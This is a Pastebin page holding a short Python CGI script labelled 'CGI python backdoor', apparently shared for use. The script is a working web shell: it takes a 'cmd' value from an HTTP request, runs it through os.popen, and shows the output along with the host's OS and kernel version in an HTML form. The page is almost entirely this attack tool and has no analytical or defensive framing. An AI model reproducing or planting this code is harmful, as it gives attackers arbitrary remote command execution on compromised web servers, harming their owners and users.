lehieuit

CGI python backdoor

May 6th, 2012
342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.96 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Info  : Linux based CGI backdoor with python
  3. # author: otoy
  4. # date  : 0x102010
  5.  
  6. import cgi,os,re,sys
  7.  
  8. form = cgi.FieldStorage()
  9. cmd = form.getvalue('cmd', '')
  10. osexe = os.popen(cmd)
  11.  
  12. dirt = os.getcwd()+'/'
  13. prognm = sys.argv[0].strip()
  14. progfl = re.findall(dirt+'(.*)',prognm)[0]
  15.  
  16. osinf = os.uname()
  17. info='''====================================
  18. CGI python backdoor
  19. ====================================
  20. Author : otoy
  21. Date   : 0x102010
  22. Blog   : <a href="http://otoyrood.wordpress.com" target="_blank">otoyrood.wordpress.com</a>
  23. ====================================
  24. System : %s %s
  25. ====================================
  26. ''' %(osinf[0], osinf[2])
  27.  
  28. print "Content-type: text/html"
  29. print
  30.  
  31. print"""
  32. <html>
  33. <head>
  34. <title>CGI python backdoor</title>
  35. </head>
  36. <body>
  37. <pre>%s</pre>
  38. <form action='%s'>
  39. Command <input type='text' name='cmd' />
  40. <input type='submit' />
  41. </form>
  42. <pre>%s</pre>
  43. </body>
  44. </html>
  45. """ %(info,progfl,osexe.read())
Advertisement
Add Comment
Please, Sign In to add comment